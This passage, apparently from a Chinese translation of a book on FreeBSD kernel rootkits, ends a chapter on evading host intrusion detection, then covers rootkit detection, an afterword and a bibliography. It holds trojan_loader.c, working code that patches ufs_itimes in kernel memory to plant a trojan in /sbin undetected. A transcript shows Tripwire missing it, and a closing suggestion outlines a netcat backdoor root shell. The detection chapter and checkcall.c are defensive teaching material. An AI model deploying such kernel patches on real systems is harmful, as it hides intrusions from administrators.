c06c0fa9: e9 46 ff ff ff jmp c06c0ef4 <ufs_itimes+0x94>
c06c0fae: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0fb4: 8b 46 04 mov 0x4(%esi),%eax
c06c0fb7: 89 42 24 mov %eax,0x24(%edx)
c06c0fba: 8b 53 10 mov 0x10(%ebx),%edx
c06c0fbd: e9 d1 fe ff ff jmp c06c0e93 <ufs_itimes+0x33>
c06c0fc2: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0fc8: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0fcb: 89 42 20 mov %eax,0x20(%edx)
c06c0fce: eb b0 jmp c06c0f80 <ufs_itimes+0x120>
c06c0fd0: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0fd6: 8b 46 04 mov 0x4(%esi),%eax
c06c0fd9: 89 42 1c mov %eax,0x1c(%edx)
c06c0fdc: e9 6e ff ff ff jmp c06c0f4f <ufs_itimes+0xef>
c06c0fe1: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0fe7: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0fea: 89 42 18 mov %eax,0x18(%edx)
c06c0fed: e9 44 ff ff ff jmp c06c0f36 <ufs_itimes+0xd6>
c06c0ff2: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0ff8: 8b 46 04 mov 0x4(%esi),%eax
c06c0ffb: 89 42 14 mov %eax,0x14(%edx)
c06c0ffe: e9 0a ff ff ff jmp c06c0f0d <ufs_itimes+0xad>
c06c1003: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
c06c1009: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
在这个输出中,加粗显示的六行(在反汇编转储中)每行代表对 DIP_SET 的一个调用,最后两行对应于你想 nop 出来的那些。以下叙述详细说明了我是如何得出这个结论的。
首先,在函数 ufs_itimes 中,宏 DIP_SET 被调用六次,分为三组,每组两次。因此,在反汇编中,应该有三组类似指令。接下来,DIP_SET 调用都发生在调用函数 vfs_timestamp 之后。因此,在调用 vfs_timestamp 之前的任何代码都可以忽略。最后,因为宏 DIP_SET 修改了一个传递的参数,其反汇编(很可能是)涉及通用数据寄存器。根据这些标准,围绕每个 sar 指令的两个 mov 指令是唯一匹配的。
示例
列表 6-7 将 trojan_hello 安装到目录 /sbin/ 中,而没有更新其访问、修改或更改时间。程序首先保存 /sbin/ 的访问和修改时间。然后,函数 ufs_itimes 被修补以防止更新更改时间。接下来,二进制文件 trojan_hello 被复制到 /sbin/ 中,并将 /sbin/ 的访问和修改时间回滚。最后,函数 ufs_itimes 被恢复。
#include <errno.h>
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#define SIZE 450
#define T_NAME "trojan_hello"
#define DESTINATION "/sbin/."
/* Replacement code. */
unsigned char nop_code[] =
"\x90\x90\x90"; /* nop */
int
main(int argc, char *argv[])
{
int i, offset1, offset2;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { {NULL}, {NULL}, };
unsigned char ufs_itimes_code[SIZE];
struct stat sb;
struct timeval time[2];
/* Initialize kernel virtual memory access. */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "ufs_itimes";
if (kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (!nl[0].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[0].n_name);
exit(-1);
}
/* Save a copy of ufs_itimes. */
if (kvm_read(kd, nl[0].n_value, ufs_itimes_code, SIZE) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/*
* Search through ufs_itimes for the following two lines:
* DIP_SET(ip, i_ctime, ts.tv_sec);
* DIP_SET(ip, i_ctimensec, ts.tv_nsec);
*/
for (i = 0; i < SIZE - 2; i++) {
if (ufs_itimes_code[i] == 0x89 &&
ufs_itimes_code[i+1] == 0x42 &&
ufs_itimes_code[i+2] == 0x30)
offset1 = i;
if (ufs_itimes_code[i] == 0x89 &&
ufs_itimes_code[i+1] == 0x4a &&
ufs_itimes_code[i+2] == 0x34)
offset2 = i;
}
/* Save /sbin/'s access and modification times. */
if (stat("/sbin", &sb) < 0) {
fprintf(stderr, "STAT ERROR: %d\n", errno);
exit(-1);
}
time[0].tv_sec = sb.st_atime;
time[1].tv_sec = sb.st_mtime;
/* Patch ufs_itimes. */
if (kvm_write(kd, nl[0].n_value + offset1, nop_code,
sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (kvm_write(kd, nl[0].n_value + offset2, nop_code,
sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Copy T_NAME into DESTINATION. */
char string[] = "cp" " " T_NAME " " DESTINATION;
system(&string);
/* Roll back /sbin/'s access and modification times. */
if (utimes("/sbin", (struct timeval *)&time) < 0) {
fprintf(stderr, "UTIMES ERROR: %d\n", errno);
exit(-1);
}
/* Restore ufs_itimes. */
if (kvm_write(kd, nl[0].n_value + offset1, &ufs_itimes_code[offset1],
sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (kvm_write(kd, nl[0].n_value + offset2, &ufs_itimes_code[offset2],
sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd. */
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Print out a debug message, indicating our success. */
printf("Y'all just mad. Because today, you suckers got served.\n");
exit(0);
}
trojan_loader.c
注意
我们本可以修补 ufs_itimes(在四个额外的位置)以防止所有文件的访问、修改和更改时间更新。然而,我们希望尽可能微妙;因此,我们回滚了访问和修改时间。
概念验证:欺骗 Tripwire
在以下输出中,我运行了本章开发的 rootkit 对抗 Tripwire,这可能是最常见和最知名的 HIDS。
首先,我执行命令 tripwire --check 以验证文件系统的完整性。接下来,rootkit 被安装到 trojan 二进制文件 hello(位于 /sbin/ 中)。最后,我再次执行 tripwire --check 以审计文件系统并查看是否检测到 rootkit。
注意
由于 Tripwire 报告的平均内容相当详细且冗长,我已经从以下输出中省略了任何无关或冗余的信息以节省空间。
$ `sudo tripwire --check`
Parsing policy file: /usr/local/etc/tripwire/tw.pol
*** Processing Unix File System ***
Performing integrity check...
Wrote report file: /var/db/tripwire/report/slavetwo-20070305-072935.twr
Tripwire(R) 2.3.0 Integrity Check Report
Report generated by: root
Report created on: Mon Mar 5 07:29:35 2007
Database last updated on: Mon Mar 5 07:28:11 2007
. . .
Total objects scanned: 69628
Total violations found: 0
=============================================================================
Object Summary:
=============================================================================
-----------------------------------------------------------------------------
# Section: Unix File System
-----------------------------------------------------------------------------
No violations.
=============================================================================
Error Report:
=============================================================================
No Errors
-----------------------------------------------------------------------------
*** End of report ***
Tripwire 2.3 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
Integrity check complete.
$ `hello`
May the force be with you.
$ `sudo ./trojan_loader`
Y'all just mad. Because today, you suckers got served.
$ `sudo kldload ./incognito-0.3.ko`
$ `kldstat`
Id Refs Address Size Name
1 3 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
$ `ls /sbin/t*`
/sbin/tunefs
$ `hello`
May the schwartz be with you!
$ `sudo tripwire --check`
Parsing policy file: /usr/local/etc/tripwire/tw.pol
*** Processing Unix File System ***
Performing integrity check...
Wrote report file: /var/db/tripwire/report/slavetwo-20070305-074918.twr
Tripwire(R) 2.3.0 Integrity Check Report
Report generated by: root
Report created on: Mon Mar 5 07:49:18 2007
Database last updated on: Mon Mar 5 07:28:11 2007
. . .
Total objects scanned: 69628
Total violations found: 0
=============================================================================
Object Summary:
=============================================================================
-----------------------------------------------------------------------------
# Section: Unix File System
-----------------------------------------------------------------------------
No violations.
=============================================================================
Error Report:
=============================================================================
No Errors
-----------------------------------------------------------------------------
*** End of report ***
Tripwire 2.3 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
Integrity check complete.
太棒了——Tripwire 报告没有违规。
当然,你还可以做更多的事情来改进这个 rootkit。例如,你可以隐藏系统调用钩子(如 隐藏系统调用钩子 中讨论的)。
注意
离线分析会检测到木马;毕竟,如果系统没有运行,你无法在系统中隐藏!
结论
本章的目的是(信不信由你)并不是要诋毁 HIDS,而是要展示通过结合本书中描述的所有技术可以实现什么。为了好玩,这里还有一个例子。
将第二章中的icmp_input_hook代码与本章中execve_hook代码的部分结合起来,创建一个能够执行用户空间进程(如netcat)以生成后门 root shell 的“网络触发器”。然后,将其与第三章中的process_hiding和port_hiding代码结合起来,隐藏 root shell 和连接。包括本章中的模块隐藏例程以隐藏 rootkit 本身。为了安全起见,还可以加入netcat的getdirentries_hook代码。
当然,这个 rootkit 也可以进行改进。例如,由于许多管理员将他们的防火墙/数据包过滤器设置为丢弃传入的 ICMP 数据包,考虑挂钩一个不同的*_input函数,例如tcp_input。
第七章。检测
我们现在转向具有挑战性的 rootkit 检测领域。一般来说,你可以通过两种方式检测 rootkit:要么通过签名,要么通过行为。通过签名检测涉及在操作系统中扫描特定的 rootkit 特征(例如,内联函数钩子)。通过行为检测涉及捕捉操作系统在“说谎”(例如,sockstat(1)列出两个打开的端口,但端口扫描显示三个)。
在本章中,你将学习如何检测本书中描述的不同 rootkit 技术。然而,请记住,rootkits 和 rootkit 检测器处于永无止境的军备竞赛中。当一方开发了一种新技术时,另一方就会开发一种对策。换句话说,今天有效的方法明天可能就不灵了。
检测调用钩子
如第二章中所述,调用钩子实际上完全是关于重定向函数指针。因此,要检测调用钩子,你只需确定函数指针是否仍然指向其原始函数。例如,你可以通过检查sysent结构的sy_call成员来确定mkdir系统调用是否被钩子。如果它指向除mkdir之外的任何函数,你就找到了一个调用钩子。
查找系统调用钩子
列表 7-1 是一个简单的程序,用于查找(并卸载)系统调用钩子。此程序使用两个参数调用:要检查的系统调用名称及其对应的系统调用号。它还有一个可选的第三个参数,字符串"fix",如果找到钩子,则恢复原始的系统调用函数。
注意
以下程序实际上是 Stephanie Wehner 的 checkcall.c;我对它做了一些小的修改,以便在 FreeBSD 6 下干净地编译。我还做了一些外观上的修改,以便在打印时看起来更好。
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/sysent.h>
void usage();
int
main(int argc, char *argv[])
{
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
unsigned long addr;
int callnum;
struct sysent call;
/* Check arguments. */
if (argc < 3) {
usage();
exit(-1);
}
nl[0].n_name = "sysent";
nl[1].n_name = argv[1];
callnum = (int)strtol(argv[2], (char **)NULL, 10);
printf("Checking system call %d: %s\n\n", callnum, argv[1]);
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (!kd) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
/* Find the address of sysent[] and argv[1]. */
if (❶kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (nl[0].n_value)
printf("%s[] is 0x%x at 0x%lx\n", nl[0].n_name, nl[0].n_type,
nl[0].n_value);
else {
fprintf(stderr, "ERROR: %s not found (very weird...)\n",
nl[0].n_name);
exit(-1);
}
if (!nl[1].n_value) {
fprintf(stderr, "ERROR: %s not found\n", nl[1].n_name);
exit(-1);
}
/* Determine the address of sysent[callnum]. */
addr = nl[0].n_value + callnum * sizeof(struct sysent);
/* Copy sysent[callnum]. */
if (❷kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Where does sysent[callnum].sy_call point to? */
printf("sysent[%d] is at 0x%lx and its sy_call member points to "
"%p\n", callnum, addr, call.sy_call);
/* Check if that's correct. */
❸if ((uintptr_t)call.sy_call != nl[1].n_value) {
printf("ALERT! It should point to 0x%lx instead\n",
nl[1].n_value);
/* Should this be fixed? */
if (argv[3] && strncmp(argv[3], "fix", 3) == 0) {
printf("Fixing it... ");
❹call.sy_call =(sy_call_t *)(uintptr_t)nl[1].n_value;
if (kvm_write(kd, addr, &call, sizeof(struct sysent))
< 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
printf("Done.\n");
}
}
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
void
usage()
{
fprintf(stderr,"Usage:\ncheckcall [system call function] "
"[call number] <fix>\n\n");
fprintf(stderr, "For a list of system call numbers see "
"/sys/sys/syscall.h\n");
}
列表 7-1:checkcall.c
列表 7-1 首先❶检索sysent[]的内存地址和要检查的系统调用(argv[1])。然后❷创建argv[1]的sysent结构的一个本地副本。然后检查该结构的sy_call成员,以确保它仍然指向其原始函数;如果是这样,程序返回。否则,这意味着存在系统调用钩子,程序继续。如果存在可选的第三个参数,则将sy_call调整以指向其原始函数,从而有效地卸载系统调用钩子。
注意
checkcall 程序仅卸载系统调用钩子;它不会将其从内存中移除。此外,如果你传递了一个错误的系统调用函数和数字对,checkcall 实际上可能会损坏你的系统。然而,本例的重点是详细(在代码中)说明检测任何调用钩子的理论。
在以下输出中,checkcall 程序针对mkdir_hook(在第二章中开发的mkdir系统调用钩子)运行以演示其功能。
$ `sudo kldload ./mkdir_hook.ko`
$ `mkdir 1`
The directory "1" will be created with the following permissions: 777
$ `sudo ./checkcall mkdir 136 fix`
Checking system call 136: mkdir
sysent[] is 0x4 at 0xc08bdf60
sysent[136] is at 0xc08be5c0 and its sy_call member points to 0xc1eb8470
ALERT! It should point to 0xc0696354 instead
Fixing it... Done.
$ `mkdir 2`
$ `ls -l`
. . .
drwxr-xr-x 2 ghost ghost 512 Mar 23 14:12 1
drwxr-xr-x 2 ghost ghost 512 Mar 23 14:15 2
如你所见,钩子被捕获并卸载了。
因为 checkcall 通过引用内核的内存符号表来工作,修补这个表将使 checkcall 失效。当然,你可以通过引用文件系统上的符号表来绕过这个问题,但这样你将容易受到文件重定向攻击。我之前提到的永无止境的军备竞赛是什么意思?
检测 DKOM
如第三章所述,DKOM 是难以检测的 rootkit 技术之一。这是因为你可以在修补后从内存中卸载基于 DKOM 的 rootkit,这几乎不留下任何痕迹。因此,为了检测基于 DKOM 的攻击,你最好的办法是捕捉操作系统在“说谎”。为此,你应该对你的系统(们)的正常行为有一个很好的理解。
注意
这种方法的缺点是,你不能信任你检查的系统上的 API。
查找隐藏进程
从第三章回忆起,为了使用 DKOM 隐藏一个运行中的进程,你需要修补allproc列表、pidhashtbl、父进程的子进程列表、父进程的进程组列表以及nprocs变量。如果这些对象中的任何一个未被修补,它可以用作试金石来确定一个进程是否被隐藏。
然而,即使所有这些对象都进行了修补,你仍然可以通过在每次上下文切换之前(或之后)检查curthread来找到一个隐藏的过程,因为每个正在运行的过程在执行时都会将其上下文存储在curthread中。你可以在mi_switch的开始处安装一个内联函数钩子来检查curthread。
注意
因为执行此操作的代码相当长,我将简单地解释如何执行,并将实际的代码留给你。
mi_switch函数实现了线程上下文切换的机器无关的前奏。换句话说,它处理执行上下文切换所需的所有管理任务,但不执行上下文切换本身。(cpu_switch或cpu_throw执行实际的上下文切换。)
下面是mi_switch的汇编代码:
$ `nm /boot/kernel/kernel | grep mi_switch`
c063e7dc T mi_switch
$ `objdump -d --start-address=0xc063e7dc /boot/kernel/kernel`
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c063e7dc <mi_switch>:
c063e7dc: 55 push %ebp
c063e7dd: 89 e5 mov %esp,%ebp
c063e7df: 57 push %edi
c063e7e0: 56 push %esi
c063e7e1: 53 push %ebx
c063e7e2: 83 ec 30 sub $0x30,%esp
c063e7e5: 64 a1 00 00 00 00 mov ❶%fs:0x0,%eax
c063e7eb: 89 45 d0 mov %eax,0xffffffd0(%ebp)
c063e7ee: 8b 38 mov (%eax),%edi
. . .
假设你的mi_switch钩子将被安装在广泛的各种系统上,你可以利用mi_switch总是访问❶ %fs段寄存器(当然,就是curthread)的事实作为你的占位指令。也就是说,你可以用 0×64 的方式,类似于我们在第五章的mkdir内联函数钩子中使用 0xe8。
关于钩子本身,你可以写一个非常简单的钩子,比如打印出当前运行线程的进程名和 PID(如果时间足够长,这将给出你系统上运行进程的“真实”列表),或者写一个非常复杂的钩子,比如检查当前线程的进程结构是否仍然链接在allproc中。
不论如何,这个钩子将给你的系统线程调度算法增加大量的开销,这意味着当它被放置时,你的系统将变得几乎无法使用。因此,你也应该编写一个卸载例程。
此外,因为这是一个 rootkit 检测程序而不是 rootkit,我建议你以“正确”的方式为你的钩子分配内核内存——使用内核模块。记住,通过运行时修补分配内核内存的算法存在固有的竞争条件,你不想在检查隐藏进程时导致系统崩溃。
就这样。正如你所见,这个程序实际上只是一个简单的内联函数钩子,其复杂度并不比第五章中的例子更复杂。
注意
基于第三章中的进程隐藏例程,你也可以通过检查进程的 UMA 区域来检测一个隐藏的进程。首先,从p_flag中选择一个未使用的标志位。接下来,遍历 UMA 区域中的所有 slabs/buckets,找到所有已分配的进程;锁定每个进程并清除标志。然后,遍历allproc并设置每个进程的标志。最后,再次遍历 UMA 区域中的进程,寻找任何未设置标志的进程。请注意,在整个操作过程中,你需要持有allproc_lock以防止产生导致假阳性的竞争条件;尽管如此,你可以使用共享锁来避免过度消耗系统资源。^([1])
查找隐藏端口
回想一下第三章中提到的,我们通过从tcbinfo.listhead中移除其inpcb结构来隐藏一个基于 TCP 的开放端口。将其与隐藏一个运行中的进程进行比较,这涉及到从三个列表和一个哈希表中移除其proc结构,以及调整一个变量。看起来有点不平衡,不是吗?事实上,如果你想完全隐藏一个基于 TCP 的开放端口,你需要调整一个列表(tcbinfo.listhead)、两个哈希表(tcbinfo.hashbase和tcbinfo.porthashbase)以及一个变量(tcbinfo.ipi_count)。但有一个问题。
当数据到达一个基于 TCP 的开放端口时,其相关的inpcb结构是通过tcbinfo.hashbase而不是tcbinfo.listhead检索的。换句话说,如果你从tcbinfo.hashbase中移除一个inpcb结构,相关的端口将变得无用了(即,没有人可以连接到或与之交换数据)。因此,如果你想找到系统上的每个基于 TCP 的开放端口,你只需要遍历tcbinfo.hashbase。
^([1]) ¹ 当然,所有这些都意味着我的进程隐藏例程需要修补进程和线程的 UMA 区域。谢谢,John。
检测运行时内核内存修补
实际上,有两种运行时内核内存修补攻击类型:那些使用内联函数钩子的和那些不使用的。我将依次讨论检测每种类型。
查找内联函数钩子
找到内联函数钩子相当繁琐,这也使得它有些困难。你几乎可以在目标函数体内任何地方安装内联函数钩子,只要你的目标函数体内有足够的空余空间,并且你可以使用各种指令来使指令指针指向你控制的内存区域。换句话说,你不必使用示例中展示的精确跳转代码。
这意味着为了检测内联函数钩子,你需要扫描,或多或少,整个可执行内核内存范围,并查看每个无条件跳转指令。
通常,有两种方法可以做到这一点。你可以逐个查看每个函数,看看是否有跳转指令将控制权传递到函数起始地址和结束地址之外的内存区域。或者,你可以创建一个与可执行内核内存一起工作的 HIDS,而不是文件;也就是说,你首先扫描你的内存以建立基线,然后定期再次扫描,寻找差异。
查找代码字节修补
查找已经修补代码的函数就像在 haystack 中找针,只不过你不知道针是什么样子。你最好的选择是创建(或使用)一个与可执行内核内存一起工作的 HIDS。
注意
通常来说,通过行为分析来检测运行时内核内存修补要少枯燥得多。
结论
如您可能已经从本章中缺少示例代码中看出,rootkit 检测并不容易。更具体地说,开发和编写一个通用 rootkit 检测器并不容易,有两个原因。首先,内核模式 rootkit 与检测软件处于同一水平(即,如果某物被保护,它可以被绕过,反之亦然——如果某物被钩住,它可以被取消钩住)。^([2]) 第二,内核是一个非常庞大的地方,如果你不知道具体在哪里寻找,你就必须到处寻找。
这可能就是为什么大多数 rootkit 检测器都是这样设计的:首先,有人编写了一个 rootkit,它钩住或修补了函数 A,然后另一个人编写了一个 rootkit 检测器来保护函数 A。换句话说,大多数 rootkit 检测器都是一次性修复的类型。因此,这是一个军备竞赛,rootkit 作者设定了节奏,而反 rootkit 作者则不断追赶。
简而言之,虽然 rootkit 检测是必要的,但预防是最好的方法。
注意
我故意没有在这本书中讨论预防措施,因为关于这个主题的书籍和文章已经有很多页了(即,所有关于加固系统的书籍和文章),而且我也没有什么可以补充的。
^([2]) ² 然而,有一个例外,这个例外有利于检测。你可以通过一个无法切断的服务来检测 rootkit,例如在寻找隐藏端口中提到的inpcb示例。当然,这并不总是容易的,甚至可能不可能。
第八章。结束语
“rootkit”这个词通常带有负面含义,但 rootkit 只是系统程序。这本书中概述的技术可以——并且已经被——用于“好”和“坏”两方面。无论如何,我希望这本书能激发你亲自进行一些内核黑客活动,无论是编写 rootkit、编写设备驱动程序,还是只是解析内核源代码。
在结束之前,有三点额外内容值得提及。首先,除非你是在为了教育目的编写 rootkit,否则你应该尽量保持其尽可能简单;过于花哨只会引入错误。其次,就像编写任何内核代码一样,要注意并发问题(无论是单处理器还是 SMP)、竞态条件和你在内核与用户空间之间转换的方式;否则,要做好内核崩溃的准备。最后,记住,你只需要找到几个可靠且未被保护的位置,你的 rootkit 才能成功,而反 rootkit 群体则需要或多或少地防御整个内核——而内核是一个非常庞大的地方。
快乐地黑客吧!
BIBLIOGRAPHY
Cesare Silvio. "运行时内核修补." 1998 年. http://reactor-core.org/runtime-kernel-patching.html (于 2007 年 2 月 28 日访问).
halflife. "绕过完整性检查系统," Phrack 7, no. 51 (1997 年 9 月 1 日), http://www.phrack.org/archives/51/P51-09 (于 2007 年 2 月 28 日访问).
Hoglund Greg. "内核对象挂钩根 kits (KOH Rootkits)," ROOTKIT, 2006 年 6 月 1 日. http://www.rootkit.com/newsread.php?newsid=501 (于 2007 年 2 月 28 日访问).
Hoglund Greg 和 Jamie Butler. Rootkits: Subverting the Windows Kernel. 波士顿: Addison-Wesley Professional, 2005 年.
Kernighan, Brian W.和 Dennis M. Ritchie. C 编程语言. 第 2 版. 英格伍德克利夫斯,新泽西州:Prentice Hall PTR,1988 年.
Kong Joseph. "以 FreeBSD 风格玩内核内存游戏...," Phrack 11, no. 63 (2005 年 7 月 8 日), http://phrack.org/archives/63/p63-0x07 _Games_With_Kernel_Memory_FreeBSD_Style.txt (于 2007 年 2 月 28 日访问).
Mazidi Muhammad Ali 和 Janice Gillispie Mazidi. 80x86 IBM PC 和兼容计算机. 卷 1 和 2,汇编语言、设计和接口. 第 4 版. 上萨德尔河,新泽西州:Prentice Hall,2002 年.
McKusick Marshall Kirk 和 George V.Neville-Neil. FreeBSD 操作系统的设计与实现. 波士顿,马萨诸塞州:Addison-Wesley Professional,2004 年.
pragmatic. "使用内核模块攻击 FreeBSD:系统调用方法," The Hacker's Choice, 1999 年 6 月. http://thc.org/papers/bsdkern.html (于 2007 年 2 月 28 日访问).
pragmatic. "(几乎)完整的 Linux 可加载内核模块:黑客、病毒编写者和系统管理员的终极指南," The Hacker's Choice, 1999 年 3 月. http://thc.org/papers/LKM_HACKING .html (于 2007 年 2 月 28 日访问).
Reiter Andrew. "动态内核链接器 (KLD) 功能编程教程 [简介]," Daemon News, 2000 年 10 月. http://ezine.daemonnews .org/200010/blueprints.html (于 2007 年 2 月 28 日访问).
sd 和 devik. "无需 LKM 的 Linux 即时内核修补," Phrack 11 no. 58 (2001 年 12 月 12 日), http://phrack.org/archives/58/p58-0x07 (于 2007 年 2 月 28 日访问).
Stevens W. Richard. UNIX 环境高级编程. 雷丁,马萨诸塞州:Addison-Wesley Professional,1992 年.
Stevens W. Richard. TCP/IP 图解. 第 1 卷,协议. 波士顿: Addison-Wesley Professional,1994 年.
Stevens W. Richard. UNIX 网络编程. 第 1 卷,网络 API:套接字和 XTI. 第 2 版. 上萨德尔河,新泽西州:Prentice Hall PTR,1998 年.
Wehner Stephanie. "与 FreeBSD 内核模块的趣味游戏," atrak, 2001 年 8 月 4 日. http://www.r4k.net/mod/fbsdfun.html (于 2007 年 2 月 28 日访问).


浙公网安备 33010602011771号